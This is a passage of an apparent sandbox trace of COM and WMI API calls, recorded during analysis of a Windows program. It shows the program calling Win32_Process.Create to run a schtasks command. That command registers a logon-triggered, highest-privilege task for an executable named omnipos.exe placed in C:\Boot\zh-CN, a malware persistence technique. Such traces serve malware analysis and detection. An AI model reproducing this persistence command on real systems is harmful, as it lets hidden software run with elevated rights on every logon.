[5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0090.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1becec20) returned 0x0 [0090.101] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becec20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.101] WbemDefPath:IUnknown:Release (This=0x1becec20) returned 0x3 [0090.101] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0090.101] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0090.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0090.102] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x2 [0090.102] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x1 [0090.102] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0090.102] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0090.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119bd20) returned 0x0 [0090.102] WbemDefPath:IUnknown:AddRef (This=0x119bd20) returned 0x3 [0090.102] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x2 [0090.102] WbemDefPath:IWbemPath:SetText (This=0x119bd20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0090.102] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bea0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0090.102] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bd20, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0090.103] WbemDefPath:IWbemPath:GetText (in: This=0x119bd20, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0090.103] WbemDefPath:IWbemPath:GetText (in: This=0x119bd20, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0090.103] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119bea0) returned 0x0 [0090.103] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bd20, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0090.103] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bd20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0090.103] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bd20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0090.103] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119bea0, uIndex=0x0, pszName="root") returned 0x0 [0090.103] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bd20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0090.103] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119bd20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0090.103] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119bea0, uIndex=0x1, pszName="cimv2") returned 0x0 [0090.103] WbemDefPath:IWbemPath:GetServer (in: This=0x119bd20, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0090.103] WbemDefPath:IWbemPath:GetServer (in: This=0x119bd20, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0090.103] WbemDefPath:IWbemPath:GetServer (in: This=0x119bea0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetServer (in: This=0x119bea0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bea0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b5a0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b5a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bea0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetText (in: This=0x119bea0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetText (in: This=0x119bea0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetText (in: This=0x119bea0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0090.104] WbemDefPath:IWbemPath:GetText (in: This=0x119bea0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0090.105] IWbemServices:GetObject (in: This=0x1bea7c20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11efb10, ppCallResult=0x0) returned 0x0 [0090.229] IWbemClassObject:GetMethod (in: This=0x11efb10, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11efe80, ppOutSignature=0x1b2fd9e0*=0x11fc3b0) returned 0x0 [0090.230] IWbemClassObject:SpawnInstance (in: This=0x11efe80, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf46e30) returned 0x0 [0090.262] IWbemClassObject:Get (in: This=0x1bf46e30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0f740*=0, plFlavor=0x2a0f744*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0f740*=8, plFlavor=0x2a0f744*=32) returned 0x0 [0090.262] IWbemClassObject:Get (in: This=0x1bf46e30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0f740*=8, plFlavor=0x2a0f744*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0f740*=8, plFlavor=0x2a0f744*=32) returned 0x0 [0090.262] IWbemClassObject:Put (This=0x1bf46e30, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0090.262] IWbemClassObject:Get (in: This=0x1bf46e30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0f7d0*=0, plFlavor=0x2a0f7d4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0f7d0*=13, plFlavor=0x2a0f7d4*=32) returned 0x0 [0090.262] IWbemClassObject:Get (in: This=0x1bf46e30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0f7d0*=13, plFlavor=0x2a0f7d4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0f7d0*=13, plFlavor=0x2a0f7d4*=32) returned 0x0 [0090.262] IUnknown:QueryInterface (in: This=0x11ef430, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11ef430) returned 0x0 [0090.262] IUnknown:QueryInterface (in: This=0x11ef430, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0090.263] IUnknown:QueryInterface (in: This=0x11ef430, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0090.263] IUnknown:AddRef (This=0x11ef430) returned 0x3 [0090.263] IUnknown:QueryInterface (in: This=0x11ef430, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0090.263] IUnknown:QueryInterface (in: This=0x11ef430, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0090.263] IUnknown:QueryInterface (in: This=0x11ef430, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11ef438) returned 0x0 [0090.263] IMarshal:GetUnmarshalClass (in: This=0x11ef438, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0090.263] IUnknown:Release (This=0x11ef438) returned 0x3 [0090.263] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0090.263] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0090.263] IUnknown:QueryInterface (in: This=0x11ef430, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0090.263] IUnknown:Release (This=0x11ef430) returned 0x2 [0090.263] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0090.263] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0090.263] IUnknown:QueryInterface (in: This=0x11ef430, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0090.264] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0090.264] IUnknown:QueryInterface (in: This=0x11ef430, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0090.264] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0090.264] IUnknown:AddRef (This=0x11ef430) returned 0x3 [0090.264] IWbemClassObject:Put (This=0x1bf46e30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ef430, varVal2=0x0), Type=0) returned 0x0 [0090.264] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c1a0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0090.264] WbemDefPath:IWbemPath:GetText (in: This=0x119c1a0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0090.264] WbemDefPath:IWbemPath:GetText (in: This=0x119c1a0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0090.264] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b5a0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0090.264] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0090.264] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.264] WbemDefPath:IWbemPath:GetText (in: This=0x119c1a0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0090.264] WbemDefPath:IWbemPath:GetText (in: This=0x119c1a0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0090.264] IWbemServices:ExecMethod (in: This=0x1bea7c20, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf46e30, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf470e0, ppCallResult=0x0) returned 0x0 [0090.336] IWbemClassObject:Get (in: This=0x1bf470e0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0fae8*=0, plFlavor=0x2a0faec*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x968, varVal2=0x0), pType=0x2a0fae8*=19, plFlavor=0x2a0faec*=0) returned 0x0 [0090.336] IWbemClassObject:Get (in: This=0x1bf470e0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0fae8*=19, plFlavor=0x2a0faec*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x968, varVal2=0x0), pType=0x2a0fae8*=19, plFlavor=0x2a0faec*=0) returned 0x0 [0090.337] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0090.337] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0090.337] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0090.337] IUnknown:Release (This=0x111f638) returned 0x1 [0090.339] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bece260) returned 0x0 [0090.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece260, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0090.340] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece260, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119bc60) returned 0x0 [0090.340] WbemDefPath:IUnknown:Release (This=0x1bece260) returned 0x0 [0090.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119bc60) returned 0x0 [0090.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0090.340] WbemDefPath:IUnknown:AddRef (This=0x119bc60) returned 0x3 [0090.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0090.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0090.340] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bece420) returned 0x0 [0090.340] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece420, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.340] WbemDefPath:IUnknown:Release (This=0x1bece420) returned 0x3 [0090.341] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0090.341] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0090.341] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0090.341] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x2 [0090.341] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x1 [0090.341] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0090.341] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0090.341] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119bc60) returned 0x0 [0090.341] WbemDefPath:IUnknown:AddRef (This=0x119bc60) returned 0x3 [0090.341] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x2 [0090.341] WbemDefPath:IWbemPath:SetText (This=0x119bc60, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0090.341] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bc60, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0090.341] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0090.341] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0090.341] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bc60, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0090.341] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bc60, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0090.341] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bc60, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0090.342] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0090.342] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0090.342] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0090.342] IUnknown:Release (This=0x111f638) returned 0x1 [0090.344] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, 